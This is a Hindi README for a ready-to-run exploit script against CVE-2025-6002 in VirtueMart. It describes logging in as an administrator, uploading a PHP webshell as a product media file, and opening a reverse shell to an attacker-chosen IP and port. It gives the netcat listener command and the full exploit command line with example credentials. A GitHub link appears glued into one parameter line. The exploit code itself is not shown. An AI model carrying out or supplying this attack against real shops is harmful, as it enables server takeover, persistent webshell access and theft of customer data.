CVE-2025-6002 के लिए शोषण

यह स्क्रिप्ट VirtueMart < 4.4.10 (CVE-2025-6002) में प्रमाणित मनमानी फ़ाइल अपलोड भेद्यता का शोषण करती है, जिसका वर्णन इस ब्लॉग पोस्ट में किया गया है: https://blog.blacklanternsecurity.com/p/doomla-zero-days

यह स्क्रिप्ट दिए गए क्रेडेंशियल्स के साथ VirtueMart में लॉग इन करती है, एक नया उत्पाद बनाती है और एक PHP वेबशेल को मीडिया फ़ाइल के रूप में अपलोड करती है। फिर यह प्रदान किए गए IP/पोर्ट पर एक रिवर्स शेल को लागू करती है।

पैरामीटर:

• --url: VirtueMart का URL
• --username: व्यवस्थापक उपयोगकर्ता नाम
• --password: व्यवस्थापक पासवर्ड
• --remote-ip: हमलावर का IP पताhttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: हमलावर का पोर्ट

उपयोग:

1. हमलावर मशीन पर Netcat चलाएँ:

nc -nlvp 1337

2. शोषण निष्पादित करें:

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337